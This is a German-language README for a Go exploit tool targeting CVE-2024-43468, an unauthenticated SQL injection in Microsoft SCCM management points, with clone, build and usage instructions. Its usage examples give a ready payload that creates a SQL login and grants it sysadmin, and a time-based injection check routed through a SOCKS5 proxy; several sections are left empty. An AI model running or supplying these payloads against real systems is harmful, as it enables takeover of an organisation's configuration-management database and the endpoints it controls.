
CVE-2024-43468 SCCM SQL-Injection-Exploit (mTLS nicht extrahierbares Client-Zertifikat aus MacOS-Keychain-Version)
Go-Implementierung des CVE-2024-43468-Exploits, der den macOS-Schlüsselbund für die mTLS-Authentifizierung verwendet (ohne dass Schlüssel aus dem Schlüsselbund exportiert werden müssen).
Zusätzlich:
Basiert auf:
Nutzt nicht authentifizierte SQL-Injection-Schwachstellen im Microsoft Configuration Manager (ConfigMgr / SCCM) aus, die es einem Angreifer mit Netzwerkzugriff auf einen Management Point ermöglicht, beliebige SQL-Abfragen auf der Standortdatenbank auszuführen.
Verwundbare Versionen:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : Ziel-URL (erforderlich)-sql : Auszuführende SQL-Abfrage (erforderlich)-cn : Allgemeiner Name des Zertifikats im macOS-Schlüsselbund (erforderlich)-proxy : SOCKS5-Proxy-Adresse (Standard: leer)